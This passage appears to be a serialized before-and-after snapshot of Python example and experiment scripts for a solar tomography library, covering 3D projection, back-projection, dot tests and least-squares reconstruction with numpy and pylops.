tomograpy.models.stsrt(data, obj, **kwargs)\n# hyperparameters\nhypers = (1e-1, 1e-1, 1e-1, 1e3)\n# test time for one projection\nb = data.ravel()\nt = time.time()\nu = P.T * b\nprint(\"time with index grouping : %f\" % ((time.time() - t)))\n# inversion\nt = time.time()\nsol = lo.acg(P, b, D, hypers, tol=1e-10, maxiter=100)\n# reshape result\nfsol = tomograpy.fa.asfitsarray(sol.reshape(obj_mask.shape), header=obj4.header)\nprint(time.time() - t)\n#fsol.tofits('stsrt_test.fits')\n", "exemples/test_siddon_simu_lo.py": "#!/usr/bin/env python\nimport time\nimport numpy as np\nimport tomograpy\nimport lo\n# object\nobj = tomograpy.centered_cubic_map(3, 32)\nobj[:] = tomograpy.phantom.shepp_logan(obj.shape)\n# data\nradius = 200.\na = tomograpy.fov(obj.header, radius)\ndata = tomograpy.centered_stack(a, 128, n_images=60, radius=radius,\n                                    max_lon=np.pi)\n# projector\nP = tomograpy.lo(data.header, obj.header)\n# projection\nt = time.time()\ndata = tomograpy.projector(data, obj)\nprint(\"projection time : \" + str(time.time() - t))\n# data\ny = data.flatten()\n# backprojection\nt = time.time()\nx0 = P.T * y\nbpj = x0.reshape(obj.shape)\nprint(\"projection time : \" + str(time.time() - t))\n# priors\nDs = [lo.diff(obj.shape, axis=i) for i in xrange(3)]\n# inversion using scipy.sparse.linalg\nt = time.time()\nsol = lo.acg(P, y, Ds, 1e-2 * np.ones(3),  maxiter=100, tol=1e-20)\nsol = sol.reshape(bpj.shape)\nprint(\"inversion time : \" + str(time.time() - t))\n", "exemples/test_siddon_simu_sun.py": "#!/usr/bin/env python\nimport time\nimport numpy as np\nimport tomograpy\n# object\nobj = tomograpy.centered_cubic_map(3, 128, fill=1.)\n# data\nradius = 200.\na = tomograpy.fov(obj.header, radius)\ndata = tomograpy.centered_stack(a, 128, n_images=17, radius=200., max_lon=np.pi)\n# projection\nt = time.time()\ndata = tomograpy.projector(data, obj, obstacle=\"sun\")\nprint(\"projection time : \" + str(time.time() - t))\n# backprojection\nobj0 = tomograpy.centered_cubic_map(3, 128, fill=0.)\nt = time.time()\nobj0 = tomograpy.backprojector(data, obj0, obstacle=\"sun\")\nprint(\"backprojection time : \" + str(time.time() - t))\n", "exemples/test_thomson_simu.py": "#!/usr/bin/env python\nimport time\nimport numpy as np\nimport tomograpy\nimport lo\n# object\nobj = tomograpy.centered_cubic_map(10, 64)\nobj[:] = tomograpy.phantom.shepp_logan(obj.shape)\n# data \nradius = 200\na = tomograpy.fov(obj, radius)\ndata = tomograpy.centered_stack(a, 128, n_images=60, radius=radius, max_lon=np.pi)\n# model\nkwargs = {\"pb\":\"pb\", \"obj_rmin\":1.5, \"data_rmin\":1.5}\nP, D, obj_mask, data_mask = tomograpy.models.thomson(data, obj, u=.5, **kwargs)\n# projection\nt = time.time()\ndata[:] = (P * obj.ravel()).reshape(data.shape)\nprint(\"projection time : \" + str(time.time() - t))\n# data\n# backprojection\nt = time.time()\nx0 = P.T * data.ravel()\nbpj = x0.reshape(obj.shape)\nprint(\"backprojection time : \" + str(time.time() - t))\n# inversion using scipy.sparse.linalg\nt = time.time()\nsol = lo.acg(P, data.ravel(), D, 1e-3 * np.ones(3),  maxiter=100, tol=1e-8)\nsol = sol.reshape(obj.shape)\nprint(\"inversion time : \" + str(time.time() - t))\n"}, "files_after": {"experiments.py": "import matplotlib.pyplot as plt\nimport numpy as np\nimport pylops\n\nfrom tomograpy import project_3d, backproject_3d\n\nif __name__ == \"__main__\":\n    print(\"Test started\")\n\n    img_size = 50\n    cube_size = 50\n    x, y = np.meshgrid(np.arange(img_size, dtype=np.float32), np.arange(img_size, dtype=np.float32))\n    z = np.zeros((img_size, img_size), dtype=np.float32) + 3\n    densities = np.ones((cube_size, cube_size, cube_size), dtype=np.float32)\n    # densities[1, 4, 1] = 100\n    densities[2, 2, 2] = 5\n    densities[8, 8, 2] = 8\n    densities[10:30, 10:30, 0:30] = 3\n    mask = np.ones((cube_size, cube_size, cube_size), dtype=bool)\n\n    #b = (0.5, 0.5, 0.5)\n    b = (0, 0, 0)\n    #b = (1E-8, 1E-8, 1E-8)\n    #b = (1, 1, 1)\n    #b = (10, 10, 10)\n    delta = (1, 1, 1)\n    #unit_normal = (-1.0, -1E-8, -1E-8)\n    #unit_normal = (1.0, 1E-8, 1E-8)\n    #unit_normal = (-1, 0, 0)\n    #unit_normal = (-1/np.sqrt(3), -1/np.sqrt(3), -1/np.sqrt(3))\n\n\n    unit_normal = (1E-7, 1E-7, -1.0)\n    path_distance = 500\n\n    result = project_3d(x, y, z, densities, mask, b, delta, unit_normal, path_distance)\n    # print(result)\n\n    import pylops\n\n    def forward(densities):\n        return project_3d(x, y, z, densities.reshape((cube_size, cube_size, cube_size)).astype(np.float32),\n                          mask, b, delta, unit_normal, path_distance).reshape((img_size**2))\n\n    def backward(image):\n        return backproject_3d(x, y, z, image.reshape((img_size, img_size)).astype(np.float32),\n                   np.zeros_like(densities, dtype=np.float32),\n                   mask, b, delta, unit_normal, path_distance, True).reshape((cube_size**3))\n\n    def test_forward(xarr):\n        print(xarr)\n        return forward(xarr)\n\n    from pylops.basicoperators import FunctionOperator\n\n    op = pylops.FunctionOperator(forward, backward, img_size**2, cube_size**3)\n    out = op @ densities.reshape((cube_size**3))\n\n    fig, ax = plt.subplots()\n    ax.imshow(out.reshape((img_size, img_size)))\n    fig.show()\n    # print(out.shape)\n    # image = 2*np.ones((5, 5), dtype=np.float32)\n    # image[2, 2] = 10\n\n    image = out.reshape((img_size, img_size))\n\n\n    import xarray as xr\n\n    da = xr.DataArray(\n        data=image.reshape((img_size*img_size)),\n        dims = [\"x\"],\n        coords = dict(\n            lon=([\"x\"], x.reshape((img_size*img_size)))\n        ),\n        # dims=[\"x\", \"y\"],\n        # coords=dict(\n        #     lon=([\"x\", \"y\"], x.reshape((img_size*img_size))),\n        #     lat=([\"x\", \"y\"], y.reshape((img_size*img_size))),\n        # ),\n        attrs=dict(\n            description=\"Ambient temperature.\",\n            units=\"degC\",\n        ),\n    )\n\n\n    xinv = op / image.reshape((img_size*img_size))\n\n    # xinv = pylops.optimization.leastsquares.regularized_inversion(\n    #     op, image.reshape((img_size*img_size)), [], **dict(damp=0, iter_lim=10, show=True, atol=1E-8, btol=1E-8)\n    # )[0]\n    # print(xinv.reshape((10, 10, 10)))\n\n    fig, axs = plt.subplots(ncols=2, nrows=3, figsize=(10, 14))\n    im = axs[0, 0].imshow(densities[:, :, 2], vmin=0, vmax=3)\n    axs[0, 0].set_title(\"Input density slice\")\n    fig.colorbar(im)\n\n    im = axs[1, 0].imshow(xinv.reshape((cube_size, cube_size, cube_size))[:, :, 2], vmin=0, vmax=3)\n    axs[1, 0].set_title(\"Reconstructed density slice\")\n    fig.colorbar(im)\n\n    im = axs[2, 0].imshow(densities[:, :, 2] - xinv.reshape((cube_size, cube_size, cube_size))[:, :, 2], vmin=-3, vmax=3, cmap='seismic')\n    axs[2, 0].set_title(\"Input - reconstruction\")\n    fig.colorbar(im)\n\n    im = axs[1, 1].imshow(image, vmin=0, vmax=100)\n    axs[1, 1].set_title(\"Image used in reconstruction\")\n    fig.colorbar(im)\n\n    axs[0, 1].set_axis_off()\n    axs[2, 1].set_axis_off()\n    plt.show()\n    # BACKPROJECT\n    # image = 2*np.ones((15, 15), dtype=np.float32)\n    # result = backproject_3d(x, y, z, image,\n    #                         np.zeros_like(densities, dtype=np.float32),\n    #                         mask, b, delta, unit_normal, path_distance, True)\n    # print(\"cube\", result)\n    #\n    # import matplotlib as mpl\n    # import matplotlib.pyplot as plt\n    #\n    # mpl.use('macosx')\n    #\n    # fig = plt.figure()\n    # ax = fig.add_subplot(projection='3d')\n    # x, y, z = np.where(result > 1)\n    # ax.scatter(x, y, z)\n    #\n    # plt.show(block=True)\n\n    print(\"Test ended\")", "experiments_dottest.py": "import matplotlib.pyplot as plt\nimport numpy as np\nimport pylops\nfrom datetime import datetime\n\nfrom tomograpy import project_3d, backproject_3d\nfrom pylops.basicoperators import FunctionOperator\nfrom pylops import LinearOperator, lsqr\n\n\ndef z_rotation_matrix_3d(angle):\n    return np.array([[[np.cos(angle), np.sin(angle), 0],\n                      [-np.sin(angle), np.cos(angle), 0],\n                      [0, 0, 1]]])\n\n\nif __name__ == \"__main__\":\n    print(\"Test started\")\n    start_time = datetime.now()\n\n    angles = np.linspace(0, np.pi, 14)\n\n    radius = 300\n\n    img_size = 20\n    cube_size = 20\n    densities = np.zeros((cube_size, cube_size, cube_size), dtype=np.float32)\n    densities[3:-3, 3:-3, 3:-3] = 100\n    densities[7:-7, 7:-7, 7:-7] = 0\n    # densities = np.random.randint(0, 100, (cube_size, cube_size, cube_size)).astype(np.float32)\n    # densities[5, 5, :] = 0\n\n    mask = np.ones((cube_size, cube_size, cube_size), dtype=bool)\n\n    b = (0, 0, 0)\n    b = (-cube_size / 2, -cube_size / 2, -cube_size / 2)\n\n    delta = (1.0, 1.0, 1.0)\n    path_distance = 500.0\n\n    norms, xs, ys, zs, ds, imgs = [], [], [], [], [], []\n    for angle in angles:\n        t_angle = -angle + np.pi/2\n\n        img_x = np.arange(img_size) - img_size / 2\n        img_y = np.zeros((img_size, img_size))\n        img_z = np.arange(img_size) - img_size / 2\n        img_x, img_z = np.meshgrid(img_x, img_z)\n\n        img_x, img_y, img_z = img_x.flatten(), img_y.flatten(), img_z.flatten()\n\n        R = z_rotation_matrix_3d(t_angle)\n        coords = (R @ np.stack([img_x, img_y, img_z]))[0]\n        img_x, img_y, img_z = coords[0], coords[1], coords[2]\n        img_x = radius * np.cos(angle) + img_x\n        img_y = radius * np.sin(angle) + img_y\n\n        xx = img_x.reshape((img_size, img_size)).astype(np.float32)\n        yy = -img_y.reshape((img_size, img_size)).astype(np.float32)\n        zz = img_z.reshape((img_size, img_size)).astype(np.float32)\n\n        v1 = np.array([xx[0, 1] - xx[0, 0], yy[0, 1] - yy[0, 0], zz[0, 1] - zz[0, 0]])\n        v2 = np.array([xx[1, 0] - xx[0, 0], yy[1, 0] - yy[0, 0], zz[1, 0] - zz[0, 0]])\n        v1 = v1 / np.linalg.norm(v1)\n        v2 = v2 / np.linalg.norm(v2)\n        normal = np.cross(v1, v2)\n        normal = normal / np.linalg.norm(normal)\n\n        norm = normal\n        norm[norm == 0] = 1E-6\n        norms.append(norm)\n        print(np.rad2deg(angle), np.rad2deg(t_angle), norm)\n\n        d = 500\n        img = project_3d(xx, yy, zz, densities, mask, b, delta, norm, d)\n        xs.append(xx)\n        ys.append(yy)\n        zs.append(zz)\n        ds.append(d)\n        imgs.append(img.astype(np.float32))\n    imgs = np.array(imgs)\n\n    # show\n    for angle, img in zip(angles, imgs):\n        fig, ax = plt.subplots()\n        im = ax.imshow(img)\n        fig.colorbar(im)\n        fig.savefig(f\"/Users/jhughes/Desktop/projection_dots/{int(np.rad2deg(angle)):03d}.png\")\n        plt.close()\n\n\n    class Tomo(LinearOperator):\n        def __init__(self, xs, ys, zs, norms, ds, b, delta, model_shape, mask, dtype=None):\n            self.xs = xs\n            self.ys = ys\n            self.zs = zs\n            self.norms = norms\n            self.ds = ds\n            self.b = b\n            self.delta = delta\n            self.model_shape = model_shape\n            self.mask = mask\n            super().__init__(dtype=np.dtype(dtype),\n                             dims=self.model_shape,\n                             dimsd=(1, self.xs[0].shape[0], self.xs[0].shape[1]))\n        #                     dimsd=(len(self.xs), self.xs[0].shape[0], self.xs[0].shape[1]))\n        #\n        # def _matvec(self, densities):\n        #     return np.array([project_3d(x, y, z, densities.reshape(self.model_shape).astype(np.float32),\n        #                                 self.mask, self.b, self.delta, norm, d)\n        #             for x, y, z, norm, d in zip(self.xs, self.ys, self.zs, self.norms, self.ds)]).flatten()\n        #\n        # def _rmatvec(self, imgs):\n        #     densitiesi = np.zeros(self.model_shape, dtype=np.float32)\n        #     for i, img in enumerate(imgs.reshape(len(self.xs), self.xs[0].shape[0], self.xs[0].shape[1])):\n        #         # densitiesi += backproject_3d(self.xs[i], self.ys[i], self.zs[i], img,\n        #         #                densitiesi,\n        #         #                self.mask, self.b, self.delta, self.norms[i], self.ds[i], True)\n        #         densitiesi = backproject_3d(self.xs[i], self.ys[i], self.zs[i], img,\n        #                                      densitiesi,\n        #                                      self.mask, self.b, self.delta, self.norms[i], self.ds[i], True)\n        #     # return ((densitiesi - np.sum(img)) / (len(self.xs)-1)).astype(np.float32)\n        #     return densitiesi / (cube_size - 1) / (len(self.xs) / 2 + 1)#/ len(self.xs) #/ densitiesi.shape[0] / len(self.xs)\n        #     #return densitiesi.flatten().astype(np.float32)\n\n        def _matvec(self, densities):\n            # return np.array([project_3d(x, y, z, densities.reshape(self.model_shape).astype(np.float32),\n            #                             self.mask, self.b, self.delta, norm, d)\n            #         for x, y, z, norm, d in zip(self.xs, self.ys, self.zs, self.norms, self.ds)]).flatten()\n            i = 0\n            return project_3d(self.xs[i], self.ys[i], self.zs[i], densities.reshape(self.model_shape).astype(np.float32), self.mask, self.b, self.delta, self.norms[i], self.ds[i]).flatten()\n\n        def _rmatvec(self, imgs):\n            densitiesi = np.zeros(self.model_shape, dtype=np.float32)\n            for i, img in enumerate(imgs.reshape(1, self.xs[0].shape[0], self.xs[0].shape[1])):\n                # densitiesi += backproject_3d(self.xs[i], self.ys[i], self.zs[i], img,\n                #                densitiesi,\n                #                self.mask, self.b, self.delta, self.norms[i], self.ds[i], True)\n                # if i == 0:\n                densitiesi += backproject_3d(self.xs[i], self.ys[i], self.zs[i], img,\n                                             np.zeros_like(densitiesi).astype(np.float32),\n                                             self.mask, self.b, self.delta, self.norms[i], self.ds[i], True)\n            # return ((densitiesi - np.sum(img)) / (len(self.xs)-1)).astype(np.float32)\n            #return (densitiesi / (cube_size - 1)).flatten() #/ densitiesi.shape[0] / len(self.xs)\n            return densitiesi.flatten().astype(np.float32)\n\n    print(len(xs))\n    op = Tomo(xs, ys, zs, norms, ds, b, delta, densities.shape, mask, dtype=np.float32)\n\n    proj = op @ densities.flatten()\n    densities_bpj = op.H @ proj.flatten()\n    proj2 = op @ densities_bpj.flatten()\n    densities_bpj2 = op.H @ proj2.flatten()\n    print(np.where(proj == -999))\n\n    #print(np.conj(proj).T @ (op @ densities))\n\n    print(\"maxs\", np.max(proj), np.max(proj2))\n    print(\"pcts\", np.nanpercentile(densities, 95), np.nanpercentile(densities_bpj, 95),  np.nanpercentile(densities_bpj2, 95))\n    print(\"close\", np.allclose(densities_bpj, densities_bpj2))\n\n    fig, axs = plt.subplots(ncols=2)\n    im = axs[0].imshow(proj.reshape((img_size, img_size)), vmin=0, vmax=1300)\n    fig.colorbar(im)\n    im = axs[1].imshow(proj2.reshape((img_size, img_size))/ (cube_size-1))#, vmin=0, vmax=1300)\n    fig.colorbar(im)\n    fig.savefig(\"/Users/jhughes/Desktop/projection_dots/comparison.png\")\n\n    fig, axs = plt.subplots(ncols=3)\n    im = axs[0].imshow(densities.reshape((cube_size, cube_size, cube_size))[0], vmin=0, vmax=100)\n    fig.colorbar(im)\n    im = axs[1].imshow(densities_bpj.reshape((cube_size, cube_size, cube_size))[0])# , vmin=0, vmax=100)\n    fig.colorbar(im)\n    im = axs[2].imshow(densities_bpj2.reshape((cube_size, cube_size, cube_size))[0])# , vmin=0, vmax=100)\n    fig.colorbar(im)\n    fig.savefig(\"/Users/jhughes/Desktop/projection_dots/comparison_dense.png\")\n\n\n    from pylops.utils import dottest\n    _ = dottest(op, 400, 8000, atol=0.1, complexflag=0, verb=True)\n\n    model = pylops.optimization.basic.lsqr(op, imgs[0].flatten(), niter=10, show=True)[0]\n    #\n    # model = model.reshape(densities.shape)\n    #\n    # limit = np.nanpercentile(model, 95)\n    #\n    # for i in range(cube_size):\n    #     fig, axs = plt.subplots(ncols=2)\n    #     im = axs[0].imshow(densities[:, :, i], vmin=0, vmax=150)#, vmin=0, vmax=5)\n    #     fig.colorbar(im)\n    #     im = axs[1].imshow(model[:, :, i], vmin=0, vmax=limit)\n    #     fig.colorbar(im)\n    #     fig.show()\n    #     fig.savefig(f\"/Users/jhughes/Desktop/projection_dots/test_{i:03d}.png\")\n", "experiments_filtered_bpj.py": "import matplotlib.pyplot as plt\nimport numpy as np\nimport pylops\nimport scipy.fftpack as fp\nfrom tomograpy import project_3d, backproject_3d\n\n\ndef z_rotation_matrix_3d(angle):\n    return np.array([[[np.cos(angle), np.sin(angle), 0],\n                      [-np.sin(angle), np.cos(angle), 0],\n                      [0, 0, 1]]])\n\n\nangles = np.linspace(0, 2*np.pi, 50)\n\nradius = 500\n\nimg_size = 100\ncube_size = 100\n# x, y = np.meshgrid(np.arange(img_size, dtype=np.float32), np.arange(img_size, dtype=np.float32))\n# z = np.zeros((img_size, img_size), dtype=np.float32)\ndensities = np.zeros((cube_size, cube_size, cube_size), dtype=np.float32)\n# densities[1:30, 1:30, 1:30] = 25\n# densities[80:90, 80:90, 80:90] = 5\ndensities[10:-10, 10:-10, 10:-10] = 100\ndensities[30:-30, 30:-30, 30:-30] = 0\n\n\n# densities[2, 2, 2] = 5\n# densities[8, 8, 2] = 8\n# densities[10:30, 10:30, 0:30] = 3\nmask = np.ones((cube_size, cube_size, cube_size), dtype=bool)\n\nb = (0, 0, 0)\nb = (-cube_size / 2, -cube_size / 2, -cube_size / 2)\n\ndelta = (1.0, 1.0, 1.0)\n# unit_normal = (1E-7, 1E-7, 1.0)\npath_distance = 500.0\n\ntotal = np.zeros_like(densities)\n\nfor angle in angles:\n    t_angle = -angle + np.pi / 2  # np.deg2rad(np.abs(90*np.cos(angle)))\n\n    img_x = np.arange(img_size) - img_size / 2\n    img_y = np.zeros((img_size, img_size))\n    img_z = np.arange(img_size) - img_size / 2\n    img_x, img_z = np.meshgrid(img_x, img_z)\n\n    img_x, img_y, img_z = img_x.flatten(), img_y.flatten(), img_z.flatten()\n\n    R = z_rotation_matrix_3d(t_angle)\n    coords = (R @ np.stack([img_x, img_y, img_z]))[0]\n    img_x, img_y, img_z = coords[0], coords[1], coords[2]\n    img_x = radius * np.cos(angle) + img_x  # - img_size/2\n    img_y = radius * np.sin(angle) + img_y  # - img_size/2\n\n    xx = img_x.reshape((img_size, img_size)).astype(np.float32)\n    yy = -img_y.reshape((img_size, img_size)).astype(np.float32)\n    zz = img_z.reshape((img_size, img_size)).astype(np.float32)\n\n    v1 = np.array([xx[0, 1] - xx[0, 0], yy[0, 1] - yy[0, 0], zz[0, 1] - zz[0, 0]])\n    v2 = np.array([xx[1, 0] - xx[0, 0], yy[1, 0] - yy[0, 0], zz[1, 0] - zz[0, 0]])\n    v1 = v1 / np.linalg.norm(v1)\n    v2 = v2 / np.linalg.norm(v2)\n    normal = np.cross(v1, v2)\n    normal = normal / np.linalg.norm(normal)\n\n    norm = normal  # R @ np.array([1E-7, 1E-7, -1.0])\n    norm[norm == 0] = 1E-6\n    print(np.rad2deg(angle), np.rad2deg(t_angle), norm)\n\n    proj = project_3d(xx, yy, zz, densities, mask, b, delta, norm, path_distance)\n\n    fig, ax = plt.subplots()\n    im = ax.imshow(proj, origin='lower')\n    fig.colorbar(im)\n    fig.savefig(f\"/Users/jhughes/Desktop/projection_bpj/proj_{angle:0.3f}.png\")\n    plt.close()\n\n    # FILTERING\n    # (w, h) = proj.shape\n    # half_w, half_h = int(w / 2), int(h / 2)\n    #\n    # F1 = fp.fft2(proj.astype(float))\n    # F2 = fp.fftshift(F1)\n    #\n    # # high pass filter\n    # n = 10\n    # F2[half_w - n:half_w + n + 1, half_h - n:half_h + n + 1] = 0\n    # proj = fp.ifft2(fp.ifftshift(F2)).real\n\n    result = backproject_3d(xx, yy, zz, proj.astype(np.float32),\n                       np.zeros_like(densities, dtype=np.float32),\n                       mask, b, delta, norm, path_distance, True)\n    print(result.shape)\n\n    scaling = densities.shape[0]\n    result = result / scaling\n\n    total += result\n# ((result - np.sum(proj)) / (len(self.xs)-1)).astype(np.float32)\n#result = result - np.sum(proj)\n\n# # Scale result to make sure that fbp(A, A(x)) == x holds at least\n# # to some approximation. In limited experiments, this is true for\n# # this version of FBP up to 1%.\n# # *Note*: For some reason, we do not have to scale with respect to\n# # the pixel dimension that is orthogonal to the rotation axis (`u`\n# # or horizontal pixel dimension). Hence, we only scale with the\n# # other pixel dimension (`v` or vertical pixel dimension).\n# vg, pg = A.astra_compat_vg, A.astra_compat_pg\n#\n# pixel_height = (pg.det_size[0] / pg.det_shape[0])\n# voxel_volume = np.prod(np.array(vg.size / np.array(vg.shape)))\n# scaling = (np.pi / pg.num_angles) * pixel_height / voxel_volume\n#\n# rec *= scaling\n# pixel_height = proj.size / proj.shape[0]\n# voxel_volume = np.prod(densities.size / np.array(densities.shape))\n# scaling = (np.pi / 1) * pixel_height / voxel_volume\n\ntotal /= len(angles)\n\nfor i in range(cube_size):\n    fig, axs = plt.subplots(ncols=2)\n    im = axs[0].imshow(densities[i, :, :], origin='lower', vmin=0, vmax=150)\n    fig.colorbar(im)\n\n    im = axs[1].imshow(total[i, :, :], origin='lower')#, vmin=0, vmax=150)\n    fig.colorbar(im)\n    fig.savefig(f\"/Users/jhughes/Desktop/projection_bpj/{i:03d}.png\")\n    plt.close()\n", "experiments_multi_view.py": "import matplotlib.pyplot as plt\nimport numpy as np\nimport pylops\nfrom datetime import datetime\n\nfrom tomograpy import project_3d, backproject_3d\nfrom pylops.basicoperators import FunctionOperator\nfrom pylops import LinearOperator, lsqr\n\n\ndef z_rotation_matrix_3d(angle):\n    return np.array([[[np.cos(angle), np.sin(angle), 0],\n                      [-np.sin(angle), np.cos(angle), 0],\n                      [0, 0, 1]]])\n\n\nif __name__ == \"__main__\":\n    print(\"Test started\")\n    start_time = datetime.now()\n\n    angles = np.linspace(0, np.pi, 14) + np.pi/60\n\n    radius = 300\n\n    img_size = 100\n    cube_size = 100\n    # x, y = np.meshgrid(np.arange(img_size, dtype=np.float32), np.arange(img_size, dtype=np.float32))\n    # z = np.zeros((img_size, img_size), dtype=np.float32)\n    densities = np.zeros((cube_size, cube_size, cube_size), dtype=np.float32)\n    # densities[1:30, 1:30, 1:30] = 25\n    # densities[80:90, 80:90, 80:90] = 5\n    densities[30:-30, 30:-30, 30:-30] = 100\n    densities[40:-40, 40:-40, 40:-40] = 0\n\n    # densities[2, 2, 2] = 5\n    # densities[8, 8, 2] = 8\n    # densities[10:30, 10:30, 0:30] = 3\n    mask = np.ones((cube_size, cube_size, cube_size), dtype=bool)\n\n    b = (0, 0, 0)\n    b = (-cube_size / 2, -cube_size / 2, -cube_size / 2)\n\n    delta = (1.0, 1.0, 1.0)\n    # delta = (0.5, 0.5, 0.5)\n    # unit_normal = (1E-7, 1E-7, 1.0)\n    path_distance = 500.0\n\n    norms, xs, ys, zs, ds, imgs = [], [], [], [], [], []\n    #angles = np.array([0, 30])\n    for angle in angles:\n        t_angle = -angle + np.pi/2 #np.deg2rad(np.abs(90*np.cos(angle)))\n\n        img_x = np.arange(img_size) - img_size / 2\n        img_y = np.zeros((img_size, img_size))\n        img_z = np.arange(img_size) - img_size / 2\n        img_x, img_z = np.meshgrid(img_x, img_z)\n\n        img_x, img_y, img_z = img_x.flatten(), img_y.flatten(), img_z.flatten()\n\n        R = z_rotation_matrix_3d(t_angle)\n        coords = (R @ np.stack([img_x, img_y, img_z]))[0]\n        img_x, img_y, img_z = coords[0], coords[1], coords[2]\n        img_x = radius * np.cos(angle) + img_x  # - img_size/2\n        img_y = radius * np.sin(angle) + img_y  # - img_size/2\n\n        xx = img_x.reshape((img_size, img_size)).astype(np.float32)\n        yy = -img_y.reshape((img_size, img_size)).astype(np.float32)\n        zz = img_z.reshape((img_size, img_size)).astype(np.float32)\n\n        v1 = np.array([xx[0, 1] - xx[0, 0], yy[0, 1] - yy[0, 0], zz[0, 1] - zz[0, 0]])\n        v2 = np.array([xx[1, 0] - xx[0, 0], yy[1, 0] - yy[0, 0], zz[1, 0] - zz[0, 0]])\n        v1 = v1 / np.linalg.norm(v1)\n        v2 = v2 / np.linalg.norm(v2)\n        normal = np.cross(v1, v2)\n        normal = normal / np.linalg.norm(normal)\n\n        norm = normal  # R @ np.array([1E-7, 1E-7, -1.0])\n        norm[norm == 0] = 1E-6\n        norms.append(norm)\n        print(np.rad2deg(angle), np.rad2deg(t_angle), norm)\n\n        d = 500\n        img = project_3d(xx, yy, zz, densities, mask, b, delta, norm, d)\n        xs.append(xx)\n        ys.append(yy)\n        zs.append(zz)\n        ds.append(d)\n        imgs.append(img.astype(np.float32))\n    imgs = np.array(imgs)\n\n    # show\n    for angle, img in zip(angles, imgs):\n        fig, ax = plt.subplots()\n        im = ax.imshow(img)\n        fig.colorbar(im)\n        fig.savefig(f\"/Users/jhughes/Desktop/projection_test/{int(np.rad2deg(angle)):03d}.png\")\n        plt.close()\n    #\n    # model = np.zeros(densities.shape, dtype=np.float32)\n    # for i, img in enumerate(imgs.reshape(len(xs), xs[0].shape[0], xs[0].shape[1])):\n    #     model = backproject_3d(xs[i], ys[i], zs[i], img,\n    #                                 model,\n    #                                 mask, b, delta, norms[i], ds[i], True)\n    # total = np.sum(img)\n    # print(total, img.shape, imgs.shape)\n    # model = ((model - total) / (len(imgs) - 1)).astype(np.float32)\n\n    # # # 3d plot\n    # fig = plt.figure()\n    # ax = fig.add_subplot(projection='3d')\n    #\n    # n = 100\n    #\n    # for x, y, z in zip(xs, ys, zs):\n    #     ax.scatter(x, y, z)\n    #\n    # # for norm, sx, sy in zip(norms, shift_xs, shift_ys):\n    # #     print(\"TEST\", norm)\n    # #     ax.plot([0+sx, 100*norm[0]+sx], [0, 100*norm[1]], [0+sy, sy+100*norm[2]])\n    #\n    # ax.set_xlabel('X Label')\n    # ax.set_ylabel('Y Label')\n    # ax.set_zlabel('Z Label')\n    #\n    # plt.show()\n\n\n    class Tomo(LinearOperator):\n        def __init__(self, xs, ys, zs, norms, ds, b, delta, model_shape, mask, dtype=None):\n            self.xs = xs\n            self.ys = ys\n            self.zs = zs\n            self.norms = norms\n            self.ds = ds\n            self.b = b\n            self.delta = delta\n            self.model_shape = model_shape\n            self.mask = mask\n            super().__init__(dtype=np.dtype(dtype),\n                             dims=self.model_shape,\n                             dimsd=(len(self.xs), self.xs[0].shape[0], self.xs[0].shape[1]))\n\n        def _matvec(self, densities):\n            return np.array([project_3d(x, y, z, densities.reshape(self.model_shape).astype(np.float32),\n                                        self.mask, self.b, self.delta, norm, d)\n                    for x, y, z, norm, d in zip(self.xs, self.ys, self.zs, self.norms, self.ds)]).flatten()\n\n        def _rmatvec(self, imgs):\n            densitiesi = np.zeros(self.model_shape, dtype=np.float32)\n            for i, img in enumerate(imgs.reshape(len(self.xs), self.xs[0].shape[0], self.xs[0].shape[1])):\n                # densitiesi += backproject_3d(self.xs[i], self.ys[i], self.zs[i], img,\n                #                densitiesi,\n                #                self.mask, self.b, self.delta, self.norms[i], self.ds[i], True)\n                densitiesi += backproject_3d(self.xs[i], self.ys[i], self.zs[i], img,\n                                             np.zeros_like(densitiesi).astype(np.float32),\n                                             self.mask, self.b, self.delta, self.norms[i], self.ds[i], True)\n            # return ((densitiesi - np.sum(img)) / (len(self.xs)-1)).astype(np.float32)\n            return densitiesi.flatten().astype(np.float32) #/ densitiesi.shape[0] / len(self.xs)\n            #return densitiesi.flatten().astype(np.float32)\n\n    print(len(xs))\n    op = Tomo(xs, ys, zs, norms, ds, b, delta, densities.shape, mask, dtype=np.float32)\n\n    from pylops.utils import dottest\n    # # print(op.dims)\n    _ = dottest(op, 140000, 1000000, atol=0.1, complexflag=0, verb=True)\n\n    Dop = [\n        pylops.FirstDerivative(\n            (cube_size, cube_size, cube_size), axis=0, edge=False, kind=\"backward\", dtype=np.float32\n        ),\n        pylops.FirstDerivative(\n            (cube_size, cube_size, cube_size), axis=1, edge=False, kind=\"backward\", dtype=np.float32\n        ),\n        pylops.FirstDerivative(\n            (cube_size, cube_size, cube_size), axis=2, edge=False, kind=\"backward\", dtype=np.float32\n        )\n    ]\n    #\n    # # TV\n    # mu = 1.5\n    # lamda = [0.1, 0.1, 0.1]\n    # niter_out = 2\n    # niter_in = 1\n    #\n    # model = pylops.optimization.sparsity.splitbregman(\n    #     op,\n    #     imgs.ravel(),\n    #     Dop,\n    #     niter_outer=niter_out,\n    #     niter_inner=niter_in,\n    #     mu=mu,\n    #     epsRL1s=lamda,\n    #     tol=1e-4,\n    #     tau=1.0,\n    #     show=True,\n    #     **dict(iter_lim=5, damp=1e-4)\n    # )[0]\n\n    # model = op / imgs.flatten()\n    # model = pylops.optimization.leastsquares.regularized_inversion(\n    #     op, imgs.flatten(), Dop, **dict(iter_lim=10, show=True, atol=1E-8, btol=1E-8)\n    # )[0]\n    #\n    # model = pylops.optimization.basic.lsqr(op, imgs.flatten(),  x0=np.random.rand(*densities.flatten().shape).astype(np.float32),\n    #                                        niter=100, show=True, damp=0)[0]\n    model = pylops.optimization.basic.lsqr(op, imgs.flatten(), niter=10, show=True)[0]#, x0 = np.random.randint(0, 30, densities.shape))[0] # x0=densities.flatten() + 50 * np.random.rand(*densities.flatten().shape).astype(np.float32) - 25)[0]\n                                           #                                        niter=100, show=True, damp=0)[0]\n    #model = pylops.optimization.basic.lsqr(op, imgs.flatten(), x0=densities.flatten(), niter=10, show=True)[0]\n    # model = pylops.optimization.basic.lsqr(op, imgs.flatten(), niter=1, show=True)[0]\n\n    # from pylops.optimization.cls_sparsity import FISTA\n    #\n    # fistasolver = FISTA(op)\n    #\n    # model = fistasolver.solve(imgs.flatten(), niter=2, show=True)[0]\n\n    #model = pylops.optimization.basic.cgls(op, imgs.flatten(), niter=10, show=True)[0]\n    model = model.reshape(densities.shape)\n\n    limit = 150 # np.nanpercentile(model, 95)\n\n    for i in range(cube_size):\n        fig, axs = plt.subplots(ncols=2)\n        im = 